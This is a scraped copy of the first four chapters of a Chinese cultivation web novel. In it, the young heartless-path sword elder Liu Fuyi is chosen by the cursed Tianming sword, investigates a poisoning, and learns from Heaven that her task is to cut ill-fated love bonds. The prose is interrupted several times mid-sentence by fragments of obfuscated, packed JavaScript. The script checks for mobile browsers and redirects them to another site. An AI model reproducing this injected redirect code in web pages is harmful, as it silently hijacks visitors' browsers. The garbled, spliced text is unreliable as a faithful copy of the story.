《主角团就我一个剑修?!》 1. 天命剑主 灵剑派山清水秀,飞瀑流泉。 半山腰上一片白石广场聚集着整个灵剑派的适龄弟子,今日他们便要在掌门及一众长老的带领下,进入剑阁挑选自己的贴身佩剑。 “小长老没来吗?我还想让她看看我老家特产呢。”顾元香玩着自己的小辫子,打眼往上面一排长老里一瞅,年纪最轻的那个没在。 说起来,清律长老柳伏意是个毋庸置疑的狠人。一是她修无情道,大道通青天,唯独无情道克己复礼教条三千,这不行做那也不行做,憋屈的很,因而除非意志极度坚定或者心极度如死灰的家伙,没有人会主动选择无情道。二是这无情道真的给她修成了,年仅十九岁,便凭借万中无一的修为被破格提拔成了戒律堂主事长老,可谓是前程明亮得能闪瞎人眼。 “听说小师叔昨夜被掌门师祖遣去香山回春派办事,大概是还没回吧?” 话音甫落,白石台上,掌门林秋池微微蹙了蹙眉。 “伏意还没来?” “肯定是还有些不舒服吧。”孔流云一向对老掌门尊敬有加,唯独这次他儿子闯出大祸,他的做法让孔流云几次三番地不悦。 老掌门膝下只有林夕照一个儿子,这夕照从小养在灵剑派,得老掌门真传,论脾性论修为都是板板正正的好。可谁也没想到他下山一次遇见一个合欢宗的小姑娘,回来便像换了个人一样,哪怕是爹不要道不修也要跟人私奔。老掌门愁的日夜睡不好觉,思来想去总觉得无情道小徒弟柳伏意说不定能救自己儿子一命,存了私心私下让小徒弟多关照亲儿子,却不曾想直接害了自己最引以为傲的徒弟。 据孔流云所知,柳伏意不过是对那合欢宗的小姑娘晓之以理动之以情,那姑娘巴巴儿的掉了几滴眼泪,林夕照那孽种就直接给自己亲师叔下了七步碎丹散。要不是她师兄沈听寒就在边上救的及时,这人命能不能留着都不好说。 可掌门做了什么呢?立时三刻地把林夕照毒害师叔的消息给瞒的密不透风,甚至还对外告知柳伏意不在宗内,就是怕他宝贝儿子背上个杀人的罪名。 孔流云最是刚正,看不得这样的脏事儿,连带着对师父师侄都没有好脸色。 “孔师兄怎么脸色这么差啊。” 他抬头,柳伏意不知什么时候来的,依旧一身单薄青衣,脸上挂着淡淡的笑意。她唇色泛着一层健康的粉红,脊背笔挺,乍一看当真没有一分倦态。 柳伏意对上林秋池的目光,自然也有些疏离,只是顾着台下太多双眼睛,规规矩矩地给他行了个礼。 林秋池叹了口气,领着一众弟子进了剑阁。 灵剑派的剑阁是仙门之中最负盛名的,还未进入便能察觉阵阵剑意,或柔和或冷冽。剑阁沉重的石门被掌门的灵力打开,内部冲出的剑气震得飞檐处角铃狂响,长久不平。 顾元香背着自己的小挎包,惴惴不安地跟在队伍后头。她觉得这地方阴冷异常,总有种说不清道不明的恨意混在里头,更何况,听说要挑选自己的佩剑都得先与剑共鸣,搞不好还要跟剑的意志打一架。 她这种门门挂科的西域留学生,连桃木剑都用不习惯,拿把真剑又有啥用? 柳伏意作为戒律堂的主事长老,今日来此也是为了管理纪律,保证大家能够最有效率地挑到自己诚心实意的佩剑的。 她挽着自己的霜月剑,清清丽丽飞身而入,立在剑阁一处顽石之上,挥手一道火符一连燃了十五盏铜灯。 “剑阁内的佩剑都是有自己的灵气的,各位可以选一个空旷一点的地方气沉丹田调动灵力,识海里就会浮现出属于你的佩剑。只要在识海里感受到了,再去拔剑,基本就不会出错了。” 顾元香自个儿挑不着佩剑她也不着急,反而盯上了柳伏意手里那把银白色的霜月。 “我记得,小长老这把剑似乎不是剑阁里拿的?”她随意找了个资历深厚的弟子问,那人刚拿到了自己的佩剑,心情也好,乐呵呵地就告诉她了。 “是啊,小师叔的佩剑是霜月剑,听说是哪年下山的时候百姓送的,本来也挺普通,但是师叔天天带着天天养着,也就很有灵气了。”那人瞅了一眼顾元香继续道,“哎,你与其关心小师叔,不如好好给自己选把剑,灵剑派的剑也是有可能带着主人精进修为的。” 顾元香闻言暗自叹气,再怎么精进也不能让她这种只知理论不懂实践的家伙一日千里吧? 话是这样说,顾元香见大家都挑了个七七八八,也就开始气沉丹田感应属于她的佩剑。 她越是努力,识海中的剑影就越是慢慢清晰了。 她专心闭着眼,跟着识海中剑气的指引,绕过重重叠叠的石块,站在了一处阴暗里。 顾元香睁眼,面前是两把看似陈旧普通的古剑。 “哪里适合我啊?长的这么平平无奇的。”她伸手将两把剑挨个拔出来,而后才注意到两把剑剑身上刻的名字。 贪生、怕死。 “?” 岂有此理!欺人太甚!顾元香当即就要把贪生怕死剑插回去,低头一看竟然连卡剑的石缝都没了。 “强买强卖!” 她憋着一肚子火,转而一想,好歹她有两把剑,边儿上还有几位同门没有剑呢。剑修没有剑和她生在西域必修毒蛊但怕虫简直异曲同工。 算了,贪生怕死就贪生怕死吧。 柳伏意注意到最后仅剩一个弟子没拿到剑,便飞身下来指导一二。 她脚尖触底的那一刻,剑阁浓重的寒气更甚。林秋池眉心隐痛,死死盯着柳伏意的背影。她站立的地方倏忽间强光刺眼,巨大的威压逼得许多弟子身形不稳,紧接着便被不知何处的狂风猛然掀翻,连滚带爬地撞在周围碎石上。 柳伏意当即运气一掌迎了上去,她凌厉凶猛的掌风与强光相触,一点一滴被融化瓦解。 “师父,这是什么情况啊?”她无奈,回眸高声喊了一句。 林秋池面色冷峻,倒叫孔流云摸不着头脑。毕竟剑阁是灵剑派防守最严的地方,绝对不可能出现邪魔外道。一堆剑放在一起能出什么大事? 老掌门几次想要开口,白花花的胡须颤抖着,终于吐出几个字节:“伏意,你也运气感应!” 她的霜月剑就算有灵气也是她十五岁下山那时开始养的,短短四年能养的多么通人性?只要剑阁内的佩剑觉得霜月剑不配呆在柳伏意身边,那就会释放剑气意为毛遂自荐。 而能弄出这么大动静的,除了那把剑,没有别的可能了。 林秋池的心往下沉了沉。 柳伏意听他的话闭目感应,她的灵力轻如丝线,千丝万缕地卷入强光,肉眼可见的,那光越来越弱,也越来越低,直到在她面前幻化成一把格外精致的剑的模样。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16027672|178619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >林秋池身形一顿,差点从石崖上摔下去。孔流云及时拉了他一把,不解道:“师父您怎么了?这把剑有什么特别吗?” “这把剑叫做……天命。” 天命!? 此话一出,在场所有人噤若寒蝉。天命剑的信息从来不详,不知何人所造,也不知何时出世。每位弟子早在入灵剑派的第一堂课便听闻过这把剑的传说——天命剑可窥天命,是名副其实的天选之人才可拥有的稀世神兵。 历代天命剑主皆是惊世奇才,什么年少大成气运之子修为巅峰都是家常便饭,唯独有一点缺点,就是都很命短。 因而天命剑紧跟着的评价便是战力极强,风评极差。 柳伏意望着面前的天命剑脸黑了黑,她才刚逃过那小崽子的七步碎丹散,紧接着就来了把弑主剑? 众目睽睽之下,柳伏意微微叹气,用霜月剑撇开了那把传世神兵。 她说:“我不要。” 孔流云早就合不上嘴,他木讷地转过头去看师父:“可以不要吗?天命剑害人啊……” 他话音刚落,被天命剑的余威掀了下来。 柳伏意转身便要走,身后某处灵力仿佛不竭之源横冲直撞闯进她体内。转瞬须臾,七步碎丹散之下破碎的、修复不全的那颗金丹,竟然在这样奇异的灵力中逐渐补全,大有变好的趋势。 她转头看了看,除了她没有人再有动作,不像是被震惊的,倒像是被人施了定身术一般。 天命剑,看来不允许她拒绝? 柳伏意面对着天命剑,祂再不是剑身的模样,四周寂静流淌着成千上万的剑意,由原本的野心勃勃到现如今的跪服。悬空的剑身之前正站着一位白发白衣,不男不女,不老不少的剑灵。剑灵五官柔和毫不锋利,狭长眉眼带着些许的冰冷和淡漠。话虽如此,祂朝伏意靠近,唇角微扬,眼里的疏离就慢慢显露为……慈悲。 绝对的平衡,极致的中庸,难怪叫这个名字。 祂伸出手来一指,柳伏意只觉右手一麻,低头看去,霜月剑段段碎裂。 “伏意,我等了你很久很久。” 祂说,“往古千百年,唯有你,让我选中你。” 柳伏意回过神来的时候,天命剑已经牢牢握在她手上了。她熟悉这个剑气,熟悉这种气息,好像命中注定她就应该拿着这把剑。 定身凝固的效果散去,她逐渐听到人群嘈杂。 “长老真的拿了天命剑!!第五代天命剑主!” “她今年才十九岁哎……不会真的又英年早逝吧?” “别说这种晦气话!” 孔流云连忙跑到师妹身边,见她看着手里的佩剑发呆,嘴巴里转了好几圈的安慰话也只能囫囵个地吞下去。 对于根本没有办法改变的事,安慰只能徒增伤心而已。 柳伏意注意到他关切的眼神,隔了好久才干笑几声,拎着那把带着短命诅咒的剑,垂头丧气地走出了剑阁。 天命认主,消息像插了翅膀,一夕之间传遍五洲四海。灵剑派公关部加班到辟谷术失效,做梦都在为本宗出了这么个天才而欣慰。掌门更是连夜把她的事迹印成了册子,从此往后新生开学第一课不再是剑灵传说,而是“认识灵剑派第一天才”。 只有柳伏意本人,欲哭无泪,黯然神伤。 这日子没活头了,怎么办? 2. 短命诅咒 夜色渐浓,柳伏意所住的清净峰里里外外围了满山的人,无论是师长还是同辈亦或是关系亲近的小辈,没有一个人敢在现在这个档口推门去找她搭话。 “怎么都围在这儿?”孔流云循声望过去,弟子们自觉地给沈听寒让出来一条路来。 孔流云对沈听寒的印象也并不深刻,柳伏意唤他一声师兄还是幼时刚入仙门拜进衡阳真人门下的时候,后来伏意十五岁入无情道便被掌门接管了去,因而年纪虽小,辈分却狠狠高了同龄人两截。 沈听寒这个人根本不像个剑修,不练剑光下棋,好话赖话听了都只是微微一笑。今晚他能站出来说话,想必也是为了治七步碎丹散的伤,不得不做这个出头鸟。 既如此……孔流云板下脸,急言令色地将小辈们都赶了回去。 沈听寒朝孔流云颔首示意,便越过他叩响了柳伏意的房门。 “进来吧。” 他跨入房中时,柳伏意恰好打了个响指,屋内刹那间亮堂起来。烛光摇曳,沈听寒在师妹对面坐下。 无情道铁律其一:时刻保持清冷疏离淡漠无情的人设,最大程度减少别人对你的初始好感。 于是柳伏意几年来收敛了气性,只穿淡色的衣裳,平日里不与人亲近,独来独往,不苟言笑。 沈听寒打量着她,拿了天命剑,反而像小时候那样一不开心就蔫儿了,情绪全都写在脸上。 “怎么了?看着很不开心呢。”他浅浅笑着,从袖中摸出她的手来把脉。 柳伏意恹恹抬头,语调拖得老长:“我都要英年早逝了,怎么还能笑得出来。”她顿了顿,托腮坐直了身子,“师兄,你有没有听说过历代天命剑主都是怎么死的啊?” 沈听寒思索片刻,道:“第一位好像是死于战场,拿了天命剑杀红了眼,结果自己用剑削了自己的头。第二个嘛是被天雷劈死的,一连九十九道天雷,骨灰都劈没了。第三个是运气不好淹死的,结果剑吸收了天地灵气,反而把尸首困在原地困了百年,发现的时候都成孤魂野鬼飘了大半个人间了。第四个是自戕的,但是死后被人刨出来配了冥婚,做鬼也不是很安稳。” 柳伏意闻言,狠狠一闭眼,痛彻心扉。这哪是历代剑主的死法,这是她英年早逝的各种可能性啊。 沈听寒收回把脉的手,看来或许因为天命剑的奇遇,伏意已经不再受七步碎丹散的影响了。 他暗暗放心了些,专心致志地欣赏师妹脸上这种……久违的活人表情。 有些怕死,但好像也没那么怕。入无情道那刻起,生死就是他们置之度外的事情。 “何必担心还没来的事情呢?”沈听寒依旧笑意吟吟,“你倒不如想一些你想做的事情,趁着年轻都体验一遍。” 柳伏意温然点了点头。她十五岁以前也算是自由自在,自从入了这个无情道,教条无数条条麻烦,一不遵守就要被罚不许吃饭,还得为了立仙气飘飘不染纤尘的人设每天大半夜搓衣服搓得洗衣板冒火星子! 沈听寒补充道:“再说,修仙的人寿元总比凡人长一些,因而历代天命剑主虽说短命,但也有个七八十岁,在人间已经是很长寿的了。你如今才十九岁,就算真的要死,那也是五六十年后的事情。现在不如就顺道想想,你最想做什么。” 他以为柳伏意会说想要吃各种美食,毕竟自从入了无情道看她连甜食都戒了。 谁成想…… “我要暴揍一顿林夕照。”柳伏意摩拳擦掌,两只眼里气愤的要喷火,“小兔崽子不识好人心!要不是师父好说歹说,我才不去管他这个烂摊子!” 说起林夕照,沈听寒眼里的笑意就淡了几分。七步碎丹散这种毒药若非处心积虑根本拿不到手,先碎丹,紧接着筋脉尽断七窍流血而死。连邪魔外道都少用这类毒药,堂堂灵剑派掌门之子,却将它用在了自己的师叔身上。 而更可恨的是事发之后,林夕照到现在都没有露面。不知道是自己跑了呢,还是被他那位掌门老爹藏起来了。 “吱呀——” 房门被推开,二人齐刷刷转头过去,看见顾元香捧着一只瓦罐站在门口,咧着嘴笑容张扬。 顾元香将自己老家的特产蛊虫放在二人面前,毫不避讳地提起自己偷听的事。她先是拍了拍伏意的肩膀,像模像样的安慰几句,随后便看着沈听寒挑了挑眉,切入正题。 “你让我查七步碎丹散,我这边确实有些眉目。” 既然是不避讳柳伏意,那么这个结果想必她可以接受。 沈听寒没有出言干涉,顾元香继续道:“林夕照在七日前出入酆都鬼市,停留时间很短,并且他是孤身一人前去,好在也算是气宇轩昂,拿着画像去问还有人记得他……” 柳伏意扯住了她的手:“说重点。” 顾元香努努嘴,往柳伏意身边靠了靠:“重点就是林夕照没有买过七步碎丹散,他买的只是一种……假药?不会真的伤及你身体,但日日倦怠分身乏术,没空管他闲事就对了。” 她话音刚落,面前瓦罐中悉心养过的蛊虫就以极快的速度在罐中乱撞,吓得她往柳伏意面前推了推。 “你怕虫啊?”柳伏意接过罐子来,她指尖泄出的一点点灵力就足以让这只躁动的蛊虫安定下来。 顾元香见此长长地吁了一口气:“我要不怕虫干什么费这么大力气从西域来灵剑派留学啊!” 俩人的目光一致透着疑惑,你怕虫还大老远地带回来一只做什么? 顾元香默默垂首,无奈道:“都说是西域特产了,这就是在中原臭名昭著的情人蛊!不过啊我直接拿的朋友的,操作流程也不是很熟悉就是了。掌门师祖既然叫你解决林夕照和文柔的事情,你就把情蛊下给文柔就好了呀。只要她爱上什么同门师兄弟,两个人自然就分开了吧?” 柳伏意当即摇了摇头:“不可以,文柔只是个弱女子,怎么可以为了一个混小子毁了她一辈子。” 伏意低头,随手抽了张纸,左右逗弄那只胖乎乎的情人蛊。 顾元香道:“你想下也没有机会了,我听小白师姐说林夕照陪文柔去历练了,一时半会儿回不来。” 历练?人尽皆知的正当场所怎么也得长老级别的人物带队,再加上凑够人数至少十人才能放他们进去。灵剑派目前尚且没有这样的安排,更别提文柔所在的合欢宗了。 顾元香跟他俩呆在一起的时间也不短,自然能猜到他们在想什么。 “当然不是你俩想的那种正规历练,是和清缈峰一起接了民间的一个求救信。讲的是在云州万年县死了五个人,死状诡异推断是妖物所为……没事,清缈峰的横山尊者修为高强,林夕照估计就是带着文柔去开开眼。”顾元 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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从林秋池的视角来看,他的亲儿子给他最心疼的小徒弟下毒,小徒弟还一朝成了天命剑主,金丹破碎不说,甚至还背着一个短命诅咒,也太倒霉了。 他抬手聚了满掌的灵力,被柳伏意扼住了手腕:“师父,如果得修为真的能不死,那么历代天命剑主都不会死了。” 她见师父手中的灵力仍未散去,只得叹了口气继续道:“师父应当明白的,我修炼到您这个程度只是几年的事情。” 她话说的狂妄,惹得顾元香和沈听寒面色都略有不自在,但林秋池不会。他是最了解柳伏意资质的人,她并没有说大话,更何况得了天命剑后修炼之道反而会事半功倍。 她如果不死,会是灵剑派毋庸置疑的下一代掌门。 林秋池见柳伏意当真不想要,便也没有强求。 “那为师还能为你做什么呢?”他笑容苦涩,愁容满面,带着一丝不可忽视的苍老。 柳伏意见状也有些不忍,她笑笑:“师父不要管我就好了,我有些自己想做的事。” 林秋池做好了准备,他儿子应当是时日无多了。 “非要如此,你便给他个痛快吧。”林秋池说完便消失了。 柳伏意:“???” 3. 清月宁日 寂静的可以听针响的房间里,柳伏意惊诧得忘记合上嘴。 她的意思只是她想偷懒而已,林秋池好像觉得她要下手杀了林夕照啊。 顾元香好不容易逮到空隙,连忙在她面前使劲挥手引她注意力,两只手分别指了指自己和沈听寒的喉咙。 柳伏意回过神来合上嘴,两道灵力一出,他们身上的禁言咒也就解了。 顾元香喘着粗气道:“看来师祖疼你不是假话啊,平时允许你住单间儿就算了,这个时候了连亲儿子的命都能赔给你。原来学习好真的可以改变人生,那我要努努力了。” 沈听寒经过这么一大圈子事儿,面色也比柳伏意和顾元香平和一些。他藏着一肚子话说不出口,柳伏意也并未在意,同顾元香玩笑起来:“那确实,你这个倒数第一的成绩,要不是前两年新入门的玄易师弟替你分担了几次,你就得被退回西域了吧?” 顾元香笑容一凛,嗔怒道:“你还嘲笑我!要不是我昼伏夜出帮你查七步碎丹散,你哪能知道有旁人要害你啊。” “好啦好啦是我不好成不成?”柳伏意注意到她身后两把剑,提眉道,“我记得能召唤双剑的弟子灵剑派也是不多的,你也不是全然没有天赋嘛。” 顾元香闻言暗自祈祷她不要问出那个问题…… 紧接着柳伏意道:“你这两把剑叫什么名字?” 顾元香心死半截。 沈听寒这回是真憋不住笑了,从他的视角可以轻而易举看清顾元香背上那两把剑的名字。 顾元香咬牙切齿,把那两把剑藏的更好。然而柳伏意见她如此,只是伸了伸手,顾元香都看不出有什么关窍,那两把剑便齐齐飞出,安然呆在她手里任她赏玩。 这就是灵剑派的顶级剑修吗? 顾元香无奈,任柳伏意嘴里说出那两把剑的名字:“噢~贪生和怕死。” 她笑意浅浅,随手把两把剑还了回去:“你应该是从入门第一课就开始打瞌睡了吧?贪生怕死剑也是有传说的,它没有你想的那么没用,你去了解一下,或许会很喜欢它们。” 其实弟子们入门的第一课剑灵传说,便是要让他们知道每把剑都有自己的个性,自然也会喜欢和自己志趣相投的主人。剑能够反应主人的意志,更有甚者,根据主人的意志幻化出剑灵,超出六界,是连天道都无法左右的存在。 顾元香记住了,眼看着天色不早,她也就扯着沈听寒离开了柳伏意的屋子,好让伏意自己静静,理一理头绪。 顾元香和柳伏意这样熟悉的原因就在于,元香的师父皓月仙子是个懒蛋,加之林秋池想要锻炼伏意,就让伏意替了皓月的班儿,教她们清月峰的弟子练剑。整个灵剑派就因为这些个关系户,辈分乱了套,因而他们这些人私下里也就不按着规矩叫,按着岁数来,除却不认识的照旧喊师叔,关系亲近的只按年纪来喊师兄师姐。 顾元香古灵精怪对什么都有鬼主意,伏意教她练剑,她学不会不说,还给伏意送西域特产什么阴鬼符之类的。一两次时伏意还端着师叔的架子呵斥她几句,然而顾元香一眼就看出来她骨子里不是个老气横秋的,时间一长,柳伏意在她面前也就逐渐放开了。哪怕不会跟她一起胡闹,也总归是宽容很多。自然私下里喊伏意就叫师姐,喊沈听寒是师兄,放在柳伏意身上也一样。他们衡阳真人门下出来的,关系都要比其他峰的更加亲近一些。 光是柳伏意身上就体现了灵剑派两种教育模式,衡阳真人是啥也不管无为教育,任她自由生长,十五岁之前的柳伏意阳光开朗随心所欲,而掌门林秋池则是严肃古板,入无情道之后柳伏意仿佛脱胎换骨,人欲喜怒尽被压制。她是如此,其余弟子也同样,一来二去同门之间就只有剑术切磋一件事交流,感情看上去自然一般。 第二日午时,清律真人柳伏意罕见的没有来盯着清月峰弟子练剑。林秋池和孔流云都以为她□□去了,一整个上午都没什么好颜色,不住地叹气,觉着世事难料造化弄人。 直到晚些时候皓月实在受不了,跑到林秋池那儿告状。 “掌门师叔,哪有这样的道理!你的好徒儿!柳伏意!” 闻言,林秋迟和孔流云俱是眉间一紧:“她怎么了!” 皓月憋了老半天,急得对面一老一少眉毛都要着了。 “她怎么能在我那儿赖了一整天看了一天的话本!!你们无情道修士看什么言情啊!还拆我cp?要不是我打不过她,中午我就揍她了!”皓月气的满脸通红,剑气都不安分地在四周转起来。 原来柳伏意一整天没出现,是单纯的翘课看话本去了。 按照伏意的个性,她不立马去云州寻仇,便是没把林夕照的事情放在心上了。掌门差点老泪纵横,儿子和徒弟都保住了,太不容易了。 心头大患一解,林秋池恢复往日老成持重,慢慢坐下,顺手捏了杯茶来,宽慰道:“皓月,师叔也无奈啊,你看看你逃了多少次值班?你每月的灵石都能拿到手买画册买周边,还不是伏意替你上的班吗?对这件事啊别的峰也是很有看法的,比如清缈峰的横山,人家现在一把年纪了还得带着弟子出去找活儿呢。” 皓月瞬间哑了火被扼住了七寸,她只想的起来反问一句:“师叔确定伏意看言情话本不会影响无情道的修为吗?” 皓月哪有真的忍受不了柳伏意,孩子又不闹腾又不搞破坏,她只是怕满纸的“他爱她到海枯石烂哪怕葬送三界也再不放开她的手”、“他将她锁在身边独属于他一人”、“他按着她的后腰拼命索吻”……会给伏意留下很不好的印象罢了…… 这种有毒的爱情观影响旁人可能还没什么大事,但影响了天命剑主的话,皓月真的怕伏意会当真。 她脑子一转,就脑补出柳伏意拎着神剑斩尽仙山,泪眼朦胧浑身窟窿都要护着孽桃花的场景…… 那她就算没死在柳伏意手里,林秋池也会把她大卸八块的。 孔流云一直以为师妹经过此事难免落得个残害同门的名声,那她在修界岂非举步维艰。如今伏意自己看开了,他心里也欢喜得很,朝皓月摆了摆手道:“皓月你想的太多了,伏意那个呆样情窍不通,看再多也就看个乐儿。” 林秋池默默喝茶,肆意茶香在整个化仙阁弥漫开。皓月仔细分辨了,林秋池和孔流云是发自真心觉得,伏意不会看出什么问题来。 她皱着眉一副兴师问罪的模样:“那伏意翘课翘班你们也不管了?” 掌门一向严肃,也能放任将来的门派中流砥柱这样自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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皓月白了她一眼:“因为天之骄子为爱当狗的戏码放在修仙界就是明知不可为而为之啊。你想想,你修无情道勤勤恳恳连自己的情绪都要舍弃,才能达到现在的修为,很不容易吧。那你要为一个喜欢的人,连差一步天神的修为都可以放弃,那得多爱才能做到?反正我不行。” 伏意指着其中某人的名字:“可是……女主的名字就叫柳秋意。” 皓月脸色白了又黑,终于一把抢过那本《无情道师尊爱上我》,扫了一眼底下的作者署名:“我倒要看看哪个臭不要脸的这么蹭流量,我要在话本界联名抵制他!” 好像是个新出道的,皓月没见过,看伏意对这本书没什么反应,她才放心了些。本来拿到天命剑受诅咒心情就不好,看到自己“为爱当狗”的同人文心情应该更差了吧。 “你明知道主角的名字是作者指向你的,你还看完了啊?剧情怎么样?” 柳伏意伸了个懒腰揉了揉干涩的眼睛,随口道:“看多了也就没什么特别了。这本写得不咋地,女主柳秋意无情道成,活了几百年了啥样的人都见过,非要用爱救赎魔子男主,反正献身啊自毁修为流干血泪是家常便饭。”她停顿了一下,“这个作者究竟是讨厌我还是讨厌女性啊?为什么魔子还要救赎?一剑杀了不行吗?” 皓月依然回答不了,果然和林秋池孔流云说的一样,柳伏意正的发邪,这种等级的干扰根本对她没有用处。 “看腻了就别看话本了,我听元香说你都四年没吃好吃的了,天天跟着老头子粗茶淡饭,我带你下山吃好吃的怎么样?” 柳伏意狐疑地看她一眼:“你是拿我做借口好下山吧?” “嗯……” 她这儿还在想借口,柳伏意已经起身了:“走啊,你付钱。” 4. 天道显灵 灵剑派位于东瀛神山之上,终年受结界保护,封山阵法只有一众核心人物才能够打开。 柳伏意是个例外。 整个灵剑派,甚至是整个修界公认的清冷剑修,每日除了练剑喝茶就没有别的爱好,就算放她下山又有何妨。 伏意拉着皓月的手,将阵法开出一个口子,将好能让她们二人通过。皓月也不耽误,念诀御剑,她的明月剑就载着两个人掠过夜空,飞行百里,落在与灵剑派最近的一处闹市里。 她故意寻了个偏僻的地方停着,四周民居早已灭了灯,或是没人住,看起来就是荒郊野岭,别说好吃的了,给人送钱都找不到对象。 皓月对此不置一词,拉着她七拐八拐又埋头走了一柱香时间,终于眼前灯火阑珊,人声鼎沸。 “噢,你怕被发现啊。”伏意跟在皓月身后打量着,“衣服都没换,只要认识灵剑派的当然看得出来了。” 她看见前面皓月的身形顿了顿。 “小姑奶奶你就闭上嘴吧。”皓月在摊子上停了一会儿,递过去几个铜板,回头将拿过来的竹筒茶塞到伏意怀里,“尝尝看,民间很流行这个奶茶。” 切……茶而已,能有多好喝? “好喝!!”柳伏意心满意足地跟在皓月身后,这下她真的忙着喝奶茶没空跟皓月唱反调了。 “做起来也不难,你喜欢咱们回清月峰可以自己做着喝。”她拉着伏意往前走,声音慢慢变小了,“其实这四年里,你的修为的确突飞猛进,但是你也很少乐呵呵的。从前你在衡阳真人门下,我老是看见你仰天哈哈大笑,傻是傻了点……但是挺活泼挺可爱的。” 柳伏意不知道是不是自己的错觉,她感觉皓月话里行间有些怀念。 “我还没死呢你就怀念上了?” 温情的氛围乍然无存。 皓月皱着眉头转身,对上柳伏意舒缓平和的眉眼。她抢先在皓月之前说:“皓月,无情道没有寻常人想的那么可怕。我越练越觉得,无情道的本质是一种欺骗。” 人只能控制是否接受情感,是否借此投身于一段关系,并不能控制自己是否动情。 无情道从根本上就是不成立的。 “啊?” 柳伏意反客为主,拉着她就近在摊子上坐下,夜已深了,除了不远处的摊位老板也没谁注意到她们二人。 伏意比了个手势,店家开始给她们俩忙活起吃食。 “无情道只是名字吓人而已,但我觉得本质上和你们练的苍生道啊无为道啊都没什么区别。掌门师父给我列了很多条禁令,不许吃甜的不许穿着妖艳不许动情……感觉就是个人物设定而已,吃了甜的也不会怎么样,穿的妖艳也不会怎么样,动情也不会怎么样……吧。”她见皓月懵懵的,才继续道,“我只是跟你说,这四年我有多么的……那个词儿叫什么,清冷倨傲,都是装的,性格从出生就定了,哪有那么好改。” 柳伏意笑的大大咧咧:“为了维持这个清冷矜贵的设定,我每天晚上都得回屋子里搓衣服。我们无情道修士所谓的不染纤尘皎若明月,就是我们洗衣服手劲儿大还洗的勤。” 皓月的同情和崇拜荡然无存,有句话怎么说来着,距离产生美,只有不了解才会觉得有魅力。 热腾腾的饭菜上桌,柳伏意一点儿没犹豫,抄起筷子就是大快朵颐。 她吃饱喝足捧着肚子,笑呵呵的:“这两天总有人心疼我,但我也确实没受什么委屈。也就是拿了把剑,有些迷茫罢了。” 皓月侧目看她:“讨厌天命剑的,你应该是第一个了。要是掌门或者孔流云或者你别的师兄,哪怕明天会死,他们也要拿这把剑做点事情的。” 时间差不多了,皓月领着伏意往回走,听见她说:“等我玩够了,应该我也会为天下做点事再死吧。” 这不就是天命剑苏醒选择剑主的理由吗? 柳伏意这些天算是灵剑派最自由最洒脱的一个,吃遍了人间流行的美味小甜品,言情话本看了,讨厌的人也揍了。她开始觉得无趣,不再排斥天命剑的剑意。 淡雅闲适的游山居内,柳伏意喝着刚用寒符冰过的奶茶,终于愿意把天命剑拿出来,解除了她在剑身上一早加附的屏障。 于是她迎来了一顿劈头盖脸的指责。 “逆子!倔驴!” 柳伏意懵了,这真的是前些天那个看起来可以普渡众生的儒雅剑灵说的话吗? “你原本不进剑阁选佩剑搞得我多等你四年我就不说了,现在好不容易我选中你了你倒好转手把我封印了!?大逆不道!”剑灵没有现身,但柳伏意心里想的一点儿都瞒不过它,“吾乃天道!天命剑乃是吾的显化,这些天你还真是卯足了劲儿吃吃喝喝啊?我在你识海里放的天命剑使用指南你一眼都没看?” 柳伏意心虚地抠了抠脸,自称天道的家伙也就不跟她计较了,抓紧时间切入正题。 “要不是剑灵出不来也不用吾亲自来找你!天命剑可窥天命,修正气运,所以说白了,你的任务就是修正别人的气运。至于你一直担心的短命一说更是无稽之谈,只要你不走火入魔,天命剑带着你狂攒功德的结果就是你只可能活的比别人还长。”天道歇了会儿,“呼……现在你静下心来,去看那本天命剑使用指南。” 柳伏意按祂说的静气凝神,于识海中翻开那本簿子,草草浏览过天命的简介,第一页实用教程就只有四个大字。 “棒打鸳鸯?” 她还以为是什么上档次的任务呢。 “你不是早就意识到了吗,修界最严苛的无情道,本质上就是一场欺骗。其实啊动情这两个字就刻在人的天性里。但近年来有很多莫名其妙的因果线,都是从爱情一道发生意外的,有许多人的陨落许多人的销声匿迹都不符合我的预期。所以天命剑不得不出世,让你看清因果斩断孽缘。” “孽缘有这么恐怖吗?谈错了恋爱及时抽身止损不就好了?” 看来他这回选择的天命剑主真的是……情窦未开单纯至极啊。天道的火气渐渐消了,还分外满意她的潇洒,接下来的谈话都变得平和许多。 “这么说吧,正缘能够让哪怕是敌对的两个人化敌为友互相帮扶,那他们各自的气运都会交缠,修正彼此缺失的部分。选择一个好的伴侣就相当于是在补全自己的气运。而如果是孽缘,本来不该发生,一方强求导致因果线混乱,轻则掠夺一人气运,重则影响一方水土灵气。”天道顿了顿,“这些天,你身边已经有不正确的因果线存在了。” 柳伏意一听,她身边陷入爱河的不就只有那个大逆不道的师侄林夕照吗? “云州出事了?”她话音刚落,顾元香就气喘吁吁地推开门闯了进来道,“云州出事了!” 天道的声音再不复求,柳伏意转而去看元香:“云州怎么了?” 顾元香擦了擦眼泪:“横山尊者死了!清缈峰弟子全数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 